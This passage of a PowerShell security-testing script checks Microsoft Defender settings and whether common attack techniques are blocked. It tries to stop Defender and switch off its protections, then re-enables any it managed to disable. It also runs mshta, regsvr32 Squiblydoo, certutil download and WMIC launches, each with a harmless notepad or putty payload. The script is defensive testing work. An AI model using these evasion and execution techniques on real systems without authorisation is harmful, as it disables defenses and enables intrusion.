write-host -ForegroundColor $processmessagecolor "Microsoft Defender Antivirus Service is running"
write-host -ForegroundColor $processmessagecolor -nonewline "- Attempt to stop Microsoft Defender Antivirus Service has "
$servicestop = $true
try {
$service = "windefend"
$result = stop-service $service -ErrorAction Stop
}
catch {
write-host -ForegroundColor $processmessagecolor "failed"
$servicestop = $false
}
if ($servicestop) {
write-host -ForegroundColor $errormessagecolor "SUCCEEDED"
write-host -ForegroundColor $errormessagecolor "- Starting Microsoft Defender Antivirus Service"
start-service windefend -ErrorAction Stop
}
}
}
function defenderstatus() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 24. Check Windows Defender Configuration ---"
write-host -ForegroundColor $processmessagecolor "Get Windows Defender configuration settings"
$result = get-mppreference
if (-not $result.DisableRealtimeMonitoring) {
write-host -ForegroundColor $processmessagecolor "Real Time Monitoring is enabled"
write-host -nonewline -ForegroundColor $processmessagecolor "- Attempt to disable Real Time Monitoring has "
try {
Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction stop
$rtm = (get-mppreference).disablerealtimemonitoring
if (-not $rtm) {
write-host -ForegroundColor $processmessagecolor "failed"
}
else {
write-host -ForegroundColor $errormessagecolor "SUCCEEDED"
write-host -foregroundcolor $processmessagecolor "- Re-enabling Real Time Monitoring"
Set-MpPreference -DisableRealtimeMonitoring $false
}
}
catch {
write-host -ForegroundColor $processmessagecolor "failed"
}
}
else {
write-host -ForegroundColor $errormessagecolor "Real Time monitoring is disabled"
}
if (-not $result.DisableIntrusionPreventionSystem) {
write-host -foregroundcolor $processmessagecolor "Intrusion Prevention System is enabled"
write-host -foregroundcolor $processmessagecolor -nonewline "- Attempt to disable Intrusion Prevention System has "
try {
Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction stop
$rtm = (get-mppreference).DisableIntrusionPreventionSystem
if (-not $rtm) {
write-host -foregroundcolor $processmessagecolor "failed"
}
else {
write-host -foregroundcolor $errormessagecolor "SUCCEEDED"
write-host -foregroundcolor $processmessagecolor "- Re-enabling Intrusion Prevention System"
Set-MpPreference -DisableIntrusionPreventionSystem $false
}
}
catch {
write-host -foregroundcolor $processmessagecolor "failed"
}
}
else {
write-host -foregroundcolor $errormessagecolor "Intrusion Prevention System is disabled"
}
if (-not $result.DisableIOAVProtection) {
write-host -foregroundcolor $processmessagecolor "All downloads and attachments protection is enabled"
write-host -foregroundcolor $processmessagecolor -nonewline "- Attempt to disable all download and attachments protection has "
try {
Set-MpPreference -DisableIOAVProtection $true -ErrorAction stop
$rtm = (get-mppreference).DisableIOAVProtection
if (-not $rtm) {
write-host -foregroundcolor $processmessagecolor "failed"
}
else {
write-host -foregroundcolor $errormessagecolor "SUCCEEDED"
write-host -foregroundcolor $processmessagecolor "- Re-enabling all downloads and attachments protection"
Set-MpPreference -DisableIOAVProtection $false
}
}
catch {
write-host -foregroundcolor $processmessagecolor "failed"
}
}
else {
write-host -foregroundcolor red "All downloads and attachments protection is disabled"
}
if (-not $result.DisableScriptScanning) {
write-host -foregroundcolor $processmessagecolor "Script Scanning is enabled"
write-host -foregroundcolor $processmessagecolor -nonewline "- Attempt to disable Script Scanning has "
try {
Set-MpPreference -DisableScriptScanning $true -ErrorAction stop
$rtm = (get-mppreference).DisableScriptScanning
if (-not $rtm) {
write-host -foregroundcolor $processmessagecolor "failed"
}
else {
write-host -foregroundcolor $errormessagecolor "SUCCEEDED"
write-host -foregroundcolor $processmessagecolor "- Re-enabling Script Scanning"
Set-MpPreference -DisableScriptScanning $false
}
}
catch {
write-host -foregroundcolor $processmessagecolor "failed"
}
}
else {
write-host -foregroundcolor $errormessagecolor "Script Scanning is disabled"
}
if (-not $result.Disablebehaviormonitoring) {
write-host -foregroundcolor $processmessagecolor "Behavior Monitoring is enabled"
write-host -foregroundcolor $processmessagecolor -nonewline "- Attempt to disable Behavior Monitoring has "
try {
Set-MpPreference -Disablebehaviormonitoring $true -ErrorAction stop
$rtm = (get-mppreference).Disablebehaviormonitoring
if (-not $rtm) {
write-host -foregroundcolor $processmessagecolor "failed"
}
else {
write-host -foregroundcolor $errormessagecolor "SUCCEEDED"
write-host -foregroundcolor $processmessagecolor "- Re-enabling Behavior Monitoring"
Set-MpPreference -Disablebehaviormonitoring $false
}
}
catch {
write-host -foregroundcolor $processmessagecolor "failed"
}
}
else {
write-host -foregroundcolor $errormessagecolor "Behavior Monitoring is disabled"
}
if (-not $result.disableblockatfirstseen) {
write-host -foregroundcolor $processmessagecolor "Block at First Seen is enabled"
write-host -foregroundcolor $processmessagecolor -nonewline "- Attempt to disable Block at First Seen has "
try {
Set-MpPreference -disableblockatfirstseen $true -ErrorAction stop
$rtm = (get-mppreference).disableblockatfirstseen
if (-not $rtm) {
write-host -foregroundcolor $processmessagecolor "failed"
}
else {
write-host -foregroundcolor $errormessagecolor "SUCCEEDED"
write-host -foregroundcolor $processmessagecolor "- Re-enabling Block at First Seen"
Set-MpPreference -disableblockatfirstseen $false
}
}
catch {
write-host -foregroundcolor $processmessagecolor "failed"
}
}
else {
write-host -foregroundcolor $errormessagecolor "Block at First Seen is disabled"
}
if (-not $result.disableemailscanning) {
write-host -foregroundcolor $processmessagecolor "Email Scaning is enabled"
write-host -foregroundcolor $processmessagecolor -nonewline "- Attempt to disable Email Scanning has "
try {
Set-MpPreference -disableemailscanning $true -ErrorAction stop
$rtm = (get-mppreference).disableemailscanning
if (-not $rtm) {
write-host -foregroundcolor $processmessagecolor "failed"
}
else {
write-host -foregroundcolor $errormessagecolor "SUCCEEDED"
write-host -foregroundcolor $processmessagecolor "- Re-enabling Email Scanning"
Set-MpPreference -disableemailscanning $false
}
}
catch {
write-host -foregroundcolor $processmessagecolor "failed"
}
}
else {
write-host -foregroundcolor $errormessagecolor "Email Scanning is disabled"
}
switch ($result.EnableControlledFolderAccess) {
0 { write-host -foregroundcolor $errormessagecolor "Controlled Folder Access is disabled"; break}
1 { write-host -foregroundcolor $processmessagecolor "Controlled Folder Access will block "; break}
2 { write-host -foregroundcolor $warningmessagecolor "Controlled Folder Access will audit "; break}
3 { write-host -foregroundcolor $warningmessagecolor "Controlled Folder Access will block disk modifications only "; break}
4 { write-host -foregroundcolor $warningmessagecolor "Controlled Folder Access will audit disk modifications "; break}
default { write-host -foregroundcolor $warningmessagecolor "Controlled Folder Access status unknown"}
}
switch ($result.EnableNetworkProtection) {
0 { write-host -foregroundcolor $errormessagecolor "Network protection is disabled"; break}
1 { write-host -foregroundcolor $processmessagecolor "Network Protection is enabled (block mode) "; break}
2 { write-host -foregroundcolor $warningmessagecolor "Network Protection is enabled (audit mode) "; break}
default { write-host -foregroundcolor $warningmessagecolor "Controlled Folder Access status unknown"}
}
switch ($result.MAPSReporting) {
0 { write-host -foregroundcolor $errormessagecolor "Microsoft Active Protection Service (MAPS) Reporting is disabled"; break}
1 { write-host -foregroundcolor $warningmessagecolor "Microsoft Active Protection Service (MAPS) Reporting is set to basic"; break}
2 { write-host -foregroundcolor $processmessagecolor "Microsoft Active Protection Service (MAPS) Reporting is set to advanced"; break}
default { write-host -foregroundcolor $warningmessagecolor "Controlled Folder Access status unknown"}
}
switch ($result.SubmitSamplesConsent) {
0 { write-host -foregroundcolor $errormessagecolor "Submit Sample Consent is set to always prompt"; break}
1 { write-host -foregroundcolor $warningmessagecolor "Submit Sample Consent is set to send safe samples automatically"; break}
2 { write-host -foregroundcolor $errormessagecolor "Submit Sample Consent is set to never send "; break}
3 { write-host -foregroundcolor $processmessagecolor "Submit Sample Consent is set to send all samples automatically "; break}
default { write-host -foregroundcolor $warningmessagecolor "Controlled Folder Access status unknown"}
}
}
function mshta() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 25. Block MSHTA process launching ---"
$body = @"
"about:<hta:application><script language="VBScript">Close(Execute("CreateObject(""Wscript.Shell"").Run%20""notepad.exe"""))</script>'"
"@
try {
$error.Clear() # Clear any existing errors
start-process -filepath "mshta.exe" -argumentlist $body -ErrorAction Continue
}
catch {
write-host -foregroundcolor $processmessagecolor "Execution error detected:"
write-host " ",($error[0].exception)
}
write-host -foregroundcolor $warningmessagecolor "`nIf NOTEPAD has executed, then the test has FAILED`n"
pause
}
function squiblydoo() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 26. Squiblydoo attack ---"
write-host -foregroundcolor $processmessagecolor "Create SC.SCT file in current directory"
$body1 = @"
<?XML version="1.0"?>
<scriptlet>
<registration progid="TESTING" classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
"@
$body2 = @"
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("notepad.exe");]]>
</script>
</registration>
</scriptlet>
"@
$body = -join($body1,$body2)
set-content -Path .\sc.sct $body
write-host -foregroundcolor $processmessagecolor "Execute regsvr32.exe in current directory"
start-process -filepath "regsvr32.exe" -argumentlist "/s /n /u /i:sc.sct scrobj.dll"
write-host -foregroundcolor $warningmessagecolor "If NOTEPAD is executed, then the test has FAILED`n"
pause
write-host -foregroundcolor $processmessagecolor "Delete SC.SCT"
remove-item .\sc.sct
}
function certutil() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 27. Block Certutil download ---"
write-host -foregroundcolor $processmessagecolor "Use CERTUTIL.EXE to download puty.exe in current directory"
$opt = "-urlcache -split -f https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe putty.exe"
try {
start-process "certutil.exe" -ArgumentList $opt -ErrorAction continue| Out-Null
}
catch {}
write-host -foregroundcolor $processmessagecolor "Check for PUTTY.EXE in current directory"
$result = test-path ".\putty.exe"
if ($result) {
write-host -foregroundcolor $errormessagecolor "PUTTY.EXE found - test FAILED`n"
write-host -foregroundcolor $processmessagecolor "Delete PUTTY.EXE"
remove-item .\putty.exe
}
else {
write-host -foregroundcolor $processmessagecolor "PUTTY.EXE not found - test SUCCEEDED`n"
}
}
function wmic() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 28. Block WMIC process launch ---"
$opt = "process call create notepad"
try {
start-process -filepath "wmic.exe" -argumentlist $opt -ErrorAction Continue
}
catch {
}
write-host -foregroundcolor $warningmessagecolor "`nIf NOTEPAD has executed, then the test has FAILED`n"
pause
}